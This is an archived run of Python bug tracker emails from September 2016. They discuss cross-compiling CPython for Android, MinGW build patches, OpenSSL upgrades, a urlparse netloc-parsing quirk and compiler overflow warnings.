[issue28266] setup.py uses build Python's configuration when cross-compiling

2016-09-25 Thread Rouslan Korneychuk

Rouslan Korneychuk added the comment:

I just tried compiling 3.6 unmodified for Android and it failed when trying to 
build libffi. The error message included these two lines:

configure: error: cannot run C compiled programs.
If you meant to cross compile, use `--host'.

so 3.6b1 is still missing something.


As for sharing my build script, I'm not sure what you are referring to. I just 
ran:

TOOLKIT_BASE=/home/rouslan/bin/android21-arm-toolchain
TOOLKIT_BIN=$TOOLKIT_BASE/bin/arm-linux-androideabi
~/build/Python-test-3.6.0b1/configure \
--build=x86_64-unknown-linux-gnu --host=arm-linux \
--enable-ipv6 \
CC="$TOOLKIT_BIN-gcc --sysroot=$TOOLKIT_BASE/sysroot -pthread" \
CXX="$TOOLKIT_BIN-g++ --sysroot=$TOOLKIT_BASE/sysroot -pthread" \
AR=$TOOLKIT_BIN-ar \
RANLIB=$TOOLKIT_BIN-ranlib \
READELF=$TOOLKIT_BIN-readelf \
CFLAGS="-fPIC -mthumb -march=armv7-a -mfloat-abi=softfp -mfpu=neon 
-DNDEBUG" \
LDFLAGS="-fPIC -march=armv7-a -Wl,--fix-cortex-a8" \
PYTHON_FOR_BUILD=~/build/python-test/python \
ac_cv_file__dev_ptmx=yes ac_cv_file__dev_ptc=yes 
ac_cv_little_endian_double=yes
make

I don't know if all of that is even necessary. This is what was needed to build 
3.5.0 (version 3.5.0 also required a number of additional changes to compile). 
There is also a build script I use for my project that incorporates Python, 
which has additional changes, such as the ability to run from an apk (android 
package) file, but it's a SCons file and does a whole lot more than just build 
Python (which it does by running configure and make, anyway).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28266] setup.py uses build Python's configuration when cross-compiling

2016-09-25 Thread Chi Hsuan Yen

Chi Hsuan Yen added the comment:

The problem is: setting PYTHON_FOR_BUILD manually breaks cross-compiling. 
Please remove it, add python3.6 to $PATH and cross-compiling should be OK.

For the problem of libffi: since issue27976 using bundled libffi is deprecated. 
Please build libffi outside CPython and then use --with-system-ffi.

Some other minor points:
* Android support is still highly experimental. Please consider using the 
latest mercurial changeset, or at least 3.6.x. 3.5.x requires too many patches.
* Android NDK has deprecated GCC. Mostly CPython is tested on clang.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23505] Urlparse insufficient validation leads to open redirect

2016-09-25 Thread Antti Haapala

Antti Haapala added the comment:

The problem is in `urlunparse`. If you check the RFC 2396, it has the following 
regular expression:

 ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?

where group 3 is the //netloc, and 4 is netloc substring, of an url 
http://netloc/foobar - and this is what Python should use to parse an URI using 
RFC 2396... but:

>>> pat.fullmatch('netloc').group(4)
''
>>> pat.fullmatch('/relative').group(4)
>>> 

Someone took the shortcut. no netloc is different from netloc being the empty 
string '', but 

>>> urlparse('netloc')
ParseResult(scheme='', netloc='', path='//netloc', params='', query='', 
fragment='')
>>> urlparse('/netloc')
ParseResult(scheme='', netloc='', path='/netloc', params='', query='', 
fragment='')

In the latter parsing result netloc should be *None*. Unfortunately I believe 
it is too late to change this either way.

--
nosy: +ztane

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28266] setup.py uses build Python's configuration when cross-compiling

2016-09-25 Thread Rouslan Korneychuk

Rouslan Korneychuk added the comment:

> The problem is: setting PYTHON_FOR_BUILD manually breaks cross-compiling. 
> Please remove it, add python3.6 to $PATH and cross-compiling should be OK.

I see.


> For the problem of libffi: since issue27976 using bundled libffi is 
> deprecated. Please build libffi outside CPython and then use 
> --with-system-ffi.

Will do.


> Some other minor points:
* Android support is still highly experimental. Please consider using the 
latest mercurial changeset, or at least 3.6.x. 3.5.x requires too many patches.

I've had 3.5 running on my Android tablet for a year now, so it's a little late 
to worry about how many patches it requires (I didn't submit a patch then, 
because until recently, my changes made it compile *only* for Android).


> * Android NDK has deprecated GCC.

I know :(  Updating my SCons script to use Clang is on my to-do list.

--
resolution:  -> duplicate
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28190] Detect curses headers correctly for cross-compiling

2016-09-25 Thread Chi Hsuan Yen

Changes by Chi Hsuan Yen :


--
title: Cross-build _curses failed if host ncurses headers and target ncurses 
headers have different layouts -> Detect curses headers correctly for 
cross-compiling

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h

2016-09-25 Thread Vitaly Murashev

New submission from Vitaly Murashev:

Hi,here the issue:
We (crystax.net) use custom builds of cpython,
which for windows are compiled by MinGW with pyconfig.h taken from PC/pyconfig.h
And for 32-bit Windows everything works well, but for 64-bit Windows - doesn't.

The root cause of this issue is actauly very simple:

Python code for windows is very sensitive on properly defined macro 
MS_WIN32/MS_WIN64
And while MS_WIN32 is predefined unconditionally in PC/pyconfig.h,
the MS_WIN64 is defined only in conjunction with _MSC_VER, like

#ifdef _MSC_VER
...
#ifdef _WIN64
#define MS_WIN64
#endif
...
#endif /* _MSC_VER */

So suggested patch (for 3.5.2 and 2.7.12) just appropriately define MS_WIN64 
for MinGW

--
components: Build, Windows
files: pyconfig.h.3.5.mingw.patch
keywords: patch
messages: 277352
nosy: paul.moore, steve.dower, tim.golden, vmurashev, zach.ware
priority: normal
severity: normal
status: open
title: [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using 
PC/pyconfig.h
Added file: http://bugs.python.org/file44805/pyconfig.h.3.5.mingw.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h

2016-09-25 Thread Vitaly Murashev

Changes by Vitaly Murashev :


Added file: http://bugs.python.org/file44806/pyconfig.h.2.7.mingw.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28203] complex() gives wrong error when the second argument has an invalid type

2016-09-25 Thread Soumya Sharma

Soumya Sharma added the comment:

Thanks for the merge!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23505] Urlparse insufficient validation leads to open redirect

2016-09-25 Thread Antti Haapala

Antti Haapala added the comment:

*I mean the problem exists in `urlparse`, not only in `urlunparse`

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h

2016-09-25 Thread Martin Panter

Martin Panter added the comment:

This probably duplicates Issue 17590, although the extra context here is nice :)

What do you think of my patch there, which also removes them from 
PC/pyconfig.h? I think it is better to define things in one place if possible.

--
nosy: +martin.panter

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue15206] uuid module falls back to unsuitable RNG

2016-09-25 Thread Christian Heimes

Christian Heimes added the comment:

Past me was a bit too eager...

Only UUID4 are suppose to be random and unpredictable. uuid.UUID4 uses 
os.urandom() to as RNG. UUID1, UUID3 and UUID5 are more concerned with reducing 
collisions.

--
status: open -> pending
type: security -> behavior

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28248] Upgrade installers to OpenSSL 1.0.2i

2016-09-25 Thread Christian Heimes

Changes by Christian Heimes :


--
superseder:  -> Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows
versions: +Python 3.4

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28248] Upgrade installers to OpenSSL 1.0.2i

2016-09-25 Thread Christian Heimes

Changes by Christian Heimes :


--
superseder: Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows -> 

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28268] bz2.open does not use __fspath__ (PEP 519)

2016-09-25 Thread chrysn

New submission from chrysn:

The bz2.open function accepts a file name; after PEP 519 (file system path 
protocol) it "is expected that most APIs in Python's standard library that 
currently accept a file system path will be updated appropriately to accept 
path objects".

BZ2File explicitly checks for types (bz2.py:94-97), so it will need explicit 
adaption.

--
messages: 277357
nosy: chrysn
priority: normal
severity: normal
status: open
title: bz2.open does not use __fspath__ (PEP 519)
type: behavior
versions: Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27995] Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows

2016-09-25 Thread Christian Heimes

Christian Heimes added the comment:

1.0.2i is the latest version of the 1.0.2 series, #27995

--
resolution:  -> out of date
stage:  -> resolved
status: open -> closed
superseder:  -> Upgrade Python 3.4 to OpenSSL 1.0.2h on Windows

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27942] Default value identity regression

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Proposed patch interns string constants recursively in tuples and frozensets. 
This fixes issue26148 and issue25981.

--
keywords: +patch
stage:  -> patch review
versions: +Python 3.7
Added file: http://bugs.python.org/file44807/intern_string_constants.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28268] bz2.open does not use __fspath__ (PEP 519)

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

This is a duplicate of issue27511 and issue28225.

--
nosy: +serhiy.storchaka
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Add PathLike objects support to BZ2File

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28190] Detect curses headers correctly for cross-compiling

2016-09-25 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue26148] String literals are not interned if in a tuple

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

The patch is provided in issue27942.

--
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Default value identity regression

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28269] [MinGW] Can't compile Python/dynload_win.c due to static strcasecmp

2016-09-25 Thread Vitaly Murashev

New submission from Vitaly Murashev:

Attempt to complile Python/dynload_win.c by MinGW fails
due to static reimplementation of strcasecmp function in this file:

---
/* Case insensitive string compare, to avoid any dependencies on particular
   C RTL implementations */

static int strcasecmp (char *string1, char *string2)
{
int first, second;

do {
first  = tolower(*string1);
second = tolower(*string2);
string1++;
string2++;
} while (first && first == second);

return (first - second);
}
---

And this reimplementation clashed with native declaration of strcasecmp()
which one is a part of MinGW runtime

So suggested patch (for 3.5.2 and 2.7.12)
just disables static reimplementation of strcasecmp for MinGW

--
components: Build
files: dynload_win.c.3.5.mingw.patch
keywords: patch
messages: 277362
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile Python/dynload_win.c due to static strcasecmp
Added file: http://bugs.python.org/file44808/dynload_win.c.3.5.mingw.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28269] [MinGW] Can't compile Python/dynload_win.c due to static strcasecmp

2016-09-25 Thread Vitaly Murashev

Changes by Vitaly Murashev :


Added file: http://bugs.python.org/file44809/dynload_win.c.2.7.mingw.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27998] Remove support of bytes paths in os.scandir()

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

I don't know what is the benefit of removing support of bytes paths in 
os.scandir(), but supporting bytes paths allows to remove ugly workarounds from 
os and glob modules.

 Lib/glob.py |   16 !!
 Lib/os.py   |   67 -!!!
 2 files changed, 73 deletions(-), 10 modifications(!)

--
keywords: +patch
Added file: http://bugs.python.org/file44810/cleanup_scandir_bytes.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h

2016-09-25 Thread Vitaly Murashev

Vitaly Murashev added the comment:

Patch suggested here is actually the most trivial as it could be.

And at the same time we (crystax.net) can prove that after this patch Python 
being compiled by MInGW for 64-bit Windows actually works well. There are other 
minor fixes but this one is the most important and again - is really trivial

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28260] mock._Any and mock._Call implement __eq__ but not __hash__

2016-09-25 Thread Antti Haapala

Antti Haapala added the comment:

So you mean that unittest.mock should explicitly set `__hash__ = None`; but 
this is already what the unittest.mock does, in Python 3; there is no need to 
set `__hash__ = None`; it is the backport that needs to do this in order to 
stay compatible. There is no mock.py in 2.7.

--
nosy: +ztane

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h

2016-09-25 Thread Vitaly Murashev

Changes by Vitaly Murashev :


--
type:  -> crash

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28269] [MinGW] Can't compile Python/dynload_win.c due to static strcasecmp

2016-09-25 Thread Vitaly Murashev

Changes by Vitaly Murashev :


--
type:  -> compile error

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue10504] Trivial mingw compile fixes

2016-09-25 Thread Martin Panter

Martin Panter added the comment:

The patch seems to share some changes to Modules/posixmodule.c with parts of 
Issue 17598’s patch (and one common part has already been applied).

Issue 17591 already fixed  to lowercase.

Just now Issue 28269 has been opened about strcasecmp().

--
dependencies: +[MinGW] Can't compile Python/dynload_win.c due to static 
strcasecmp, mingw: init system calls, mingw: use header in lowercase
nosy: +martin.panter

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28270] [MinGW] Can't compile Modules/posixmodule.c by MinGW - several macro are missed

2016-09-25 Thread Vitaly Murashev

Changes by Vitaly Murashev :


Added file: http://bugs.python.org/file44812/posixmodule.c.2.7.mingw.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28270] [MinGW] Can't compile Modules/posixmodule.c by MinGW - several macro are missed

2016-09-25 Thread Vitaly Murashev

New submission from Vitaly Murashev:

'posixmodule.c' is written pretty well, but some important MinGW realated macro 
are missed.
And as a result an attempt to complile Modules/posixmodule.c by MinGW fails.

So suggested patch (for 3.5.2 and 2.7.12)
just turns on missed MinGW related macro

--
components: Build
files: posixmodule.c.3.5.mingw.patch
keywords: patch
messages: 277367
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile Modules/posixmodule.c by MinGW - several macro are 
missed
type: compile error
Added file: http://bugs.python.org/file44811/posixmodule.c.3.5.mingw.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h

2016-09-25 Thread Martin Panter

Martin Panter added the comment:

It looks like Issue 4709 may also be a duplicate.

Your added definition is distant from the comment explaining it. And why not 
open MS_WIN64 to any Windows compiler, rather than limiting it to just MSC and 
MINGW?

I presume you are not building by running the configure script, but some other 
method. The advantage of moving this stuff out of PC/pyconfig.h is it can also 
be used with the pyconfig.h generated by the configure script.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28270] [MinGW] Can't compile Modules/posixmodule.c by MinGW - several macro are missed

2016-09-25 Thread Martin Panter

Martin Panter added the comment:

This competes with the patch at Issue 17598.

How are you building Python? I presume you are not using the configure script. 
It would be good to come up with a patch that addresses for both cases.

--
nosy: +martin.panter

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28271] [MinGW] Can't compile _ctypes/callproc.c - SEH not supported by MinGW

2016-09-25 Thread Vitaly Murashev

New submission from Vitaly Murashev:

Structured exception handling not supported by MinGW,
and as a result file 'Modules/_ctypes/callproc.c' is not compilable by MinGW 
without patching

As I know the patch was initially introduced in Google's repo,
and fixed file 'callproc.c' now can be found here
https://android.googlesource.com/platform/external/python/+/upstream-2.7/Modules/_ctypes/callproc.c

Since I am sure that it is waste of time to wait while Googe suggest the patch 
in cpython upstream, I'm just injected Google's patch to the recent python 
version.

So suggested patch (for 3.5.2 and 2.7.12) is just an adoption of Google's patch 
to the recent cpython versions.

--
components: Build, ctypes
files: callproc.c.3.5.mingw.patch
keywords: patch
messages: 277370
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile _ctypes/callproc.c - SEH not supported by MinGW
type: compile error
Added file: http://bugs.python.org/file44813/callproc.c.3.5.mingw.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28271] [MinGW] Can't compile _ctypes/callproc.c - SEH not supported by MinGW

2016-09-25 Thread Vitaly Murashev

Changes by Vitaly Murashev :


Added file: http://bugs.python.org/file44814/callproc.c.2.7.mingw.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28272] a redundant check in maybe_small_long

2016-09-25 Thread Oren Milman

New submission from Oren Milman:

 current state 
In Objects/longobject.c, the function maybe_small_long first checks whether v 
(the received PyLongObject pointer) is not NULL. 
However, currently in every call to maybe_small_long, it is already guaranteed 
that v is not NULL, which makes that check redundant.
(Currently, the following are the only functions that call maybe_small_long:
* PyLong_FromString
* long_divrem
* long_rshift
* long_lshift
* long_bitwise)

With regard to relevant changes made in the past, maybe_small_long remained 
quite the same since it was added, in changeset 48567 
(https://hg.python.org/cpython/rev/1ce7e5c5a761) - in particular, the check 
(whether v is not NULL) was always there.
When it was added, both long_rshift and long_lshift might have called 
maybe_small_long with v as NULL, which seems like the reason for adding the 
check back then.


 proposed changes 
In Objects/longobject.c in maybe_small_long, remove the check whether v is not 
NULL, and add an 'assert(v != NULL);'.


 diff 
The proposed patches diff file is attached.


 tests 
I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the 
patches, and got quite the same output.
The outputs of both runs are attached.

--
components: Interpreter Core
files: CPythonTestOutput.txt
messages: 277371
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: a redundant check in maybe_small_long
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44815/CPythonTestOutput.txt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28272] a redundant check in maybe_small_long

2016-09-25 Thread Oren Milman

Changes by Oren Milman :


Added file: http://bugs.python.org/file44816/patchedCPythonTestOutput_ver1.txt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28272] a redundant check in maybe_small_long

2016-09-25 Thread Oren Milman

Changes by Oren Milman :


Removed file: http://bugs.python.org/file44816/patchedCPythonTestOutput_ver1.txt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28272] a redundant check in maybe_small_long

2016-09-25 Thread Oren Milman

Changes by Oren Milman :


Removed file: http://bugs.python.org/file44815/CPythonTestOutput.txt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28272] a redundant check in maybe_small_long

2016-09-25 Thread Oren Milman

Changes by Oren Milman :


Added file: http://bugs.python.org/file44817/patchedCPythonTestOutput_ver1.txt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28272] a redundant check in maybe_small_long

2016-09-25 Thread Oren Milman

Changes by Oren Milman :


Added file: http://bugs.python.org/file44818/CPythonTestOutput.txt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28272] a redundant check in maybe_small_long

2016-09-25 Thread Oren Milman

Changes by Oren Milman :


--
keywords: +patch
Added file: http://bugs.python.org/file44819/issue28272_ver1.diff

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28270] [MinGW] Can't compile Modules/posixmodule.c by MinGW - several macro are missed

2016-09-25 Thread Vitaly Murashev

Vitaly Murashev added the comment:

We (crystax.net) are building Python for Windows completely by cmake and MinGW 
using PC/pyconfig.h without any configure scripts

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h

2016-09-25 Thread Steve Dower

Steve Dower added the comment:

FWIW I'm not bothered by this patch. Maybe we can one day tidy this all up but 
merging this now is a good stop-gap. (I probably won't get a chance in the next 
week.)

Other compilers can pass architecture flags on the command line instead of 
inferring them at build.

--
stage:  -> patch review
type: crash -> compile error

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h

2016-09-25 Thread Vitaly Murashev

Vitaly Murashev added the comment:

> And why not open MS_WIN64 to any Windows compiler
It would be very good idea

Patches suggested here are just the drafts which just work.
Actually I don't believe they will be accepted, so just dropped here for history

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19795] Formatting of True/False in docs

2016-09-25 Thread Christian Heimes

Changes by Christian Heimes :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20947] -Wstrict-overflow findings

2016-09-25 Thread Christian Heimes

Christian Heimes added the comment:

I can no longer reproduce the warnings with

$ CFLAGS=-Wstrict-overflow ./configure -C --with-pydebug --silent
$ make --silent

--
nosy: +christian.heimes
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1175984] Make subprocess.Popen support file-like objects (win)

2016-09-25 Thread Christian Heimes

Changes by Christian Heimes :


--
dependencies:  -subprocess: more general (non-buffering) communication
resolution:  -> out of date
stage: test needed -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18170] define built-in exceptions in Python code

2016-09-25 Thread Christian Heimes

Changes by Christian Heimes :


--
nosy: +christian.heimes
versions: +Python 3.7 -Python 3.4

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27611] test_tix cannot import _default_root after test_idle

2016-09-25 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 94a26aa1b1e0 by Serhiy Storchaka in branch '2.7':
Issue #27611: Fixed support of default root window in the Tix module.
https://hg.python.org/cpython/rev/94a26aa1b1e0

New changeset 7b458bcdab75 by Serhiy Storchaka in branch '3.5':
Issue #27611: Fixed support of default root window in the tkinter.tix module.
https://hg.python.org/cpython/rev/7b458bcdab75

New changeset ec3f5d21bec0 by Serhiy Storchaka in branch '3.6':
Issue #27611: Fixed support of default root window in the tkinter.tix module.
https://hg.python.org/cpython/rev/ec3f5d21bec0

New changeset 1c5e0dbcb2a0 by Serhiy Storchaka in branch 'default':
Issue #27611: Fixed support of default root window in the tkinter.tix module.
https://hg.python.org/cpython/rev/1c5e0dbcb2a0

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27923] PEP 467 -- Minor API improvements for binary sequences

2016-09-25 Thread Nick Coghlan

Nick Coghlan added the comment:

Just what Ethan noted above, and the fact that Ethan should also list himself 
as a co-author now :)

That said, one major alternative it would be good to consider further between 
now and 3.7 is Serhiy's "seqtools" idea: 
https://mail.python.org/pipermail/python-ideas/2016-July/041083.html

Something that wrapped memoryview and allowed bytes-based iteration over any 
buffer exported would automatically cover bytes and bytearray as well, while 
also permitting "structure ignoring" iteration over the raw data contained in 
other types.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20947] -Wstrict-overflow findings

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

I can reproduce warnings in Modules/_posixsubprocess.c:

gcc -pthread -fPIC -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 
-Wall -Wstrict-prototypes -std=c99 -Wextra -Wno-unused-result 
-Wno-unused-parameter -Wno-missing-field-initializers -Wstrict-overflow 
-I./Include -I. -I/usr/include/i386-linux-gnu -I/usr/local/include 
-I/home/serhiy/py/cpython/Include -I/home/serhiy/py/cpython -c 
/home/serhiy/py/cpython/Modules/_posixsubprocess.c -o 
build/temp.linux-i686-3.7/home/serhiy/py/cpython/Modules/_posixsubprocess.o
/home/serhiy/py/cpython/Modules/_posixsubprocess.c: In function ‘child_exec’:
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:524:33: warning: assuming 
pointer wraparound does not occur when comparing P +- C1 with P +- C2 
[-Wstrict-overflow]
 while (saved_errno != 0 && cur > hex_errno) {
 ^
/home/serhiy/py/cpython/Modules/_posixsubprocess.c: In function 
‘subprocess_fork_exec’:
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:524:33: warning: assuming 
pointer wraparound does not occur when comparing P +- C1 with P +- C2 
[-Wstrict-overflow]
 while (saved_errno != 0 && cur > hex_errno) {
 ^
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:544:1: warning: assuming 
pointer wraparound does not occur when comparing P +- C1 with P +- C2 
[-Wstrict-overflow]
 subprocess_fork_exec(PyObject* self, PyObject *args)
 ^
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:544:1: warning: assuming 
pointer wraparound does not occur when comparing P +- C1 with P +- C2 
[-Wstrict-overflow]
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:524:33: warning: assuming 
pointer wraparound does not occur when comparing P +- C1 with P +- C2 
[-Wstrict-overflow]
 while (saved_errno != 0 && cur > hex_errno) {
 ^
/home/serhiy/py/cpython/Modules/_posixsubprocess.c:524:33: warning: assuming 
pointer wraparound does not occur when comparing P +- C1 with P +- C2 
[-Wstrict-overflow]

Proposed simple patch fixes this.

--
assignee:  -> serhiy.storchaka
keywords: +patch
resolution: wont fix -> 
stage: resolved -> patch review
status: closed -> open
versions: +Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44820/issue20947.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20947] -Wstrict-overflow findings

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Use following command for reproducing:

make -s CFLAGS=-Wstrict-overflow

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19795] Formatting of True/False/None in docs

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Only the first patch was committed. The patch for None is not reviewed yet.

Here is updated patch.

--
resolution: fixed -> 
stage: resolved -> patch review
status: closed -> open
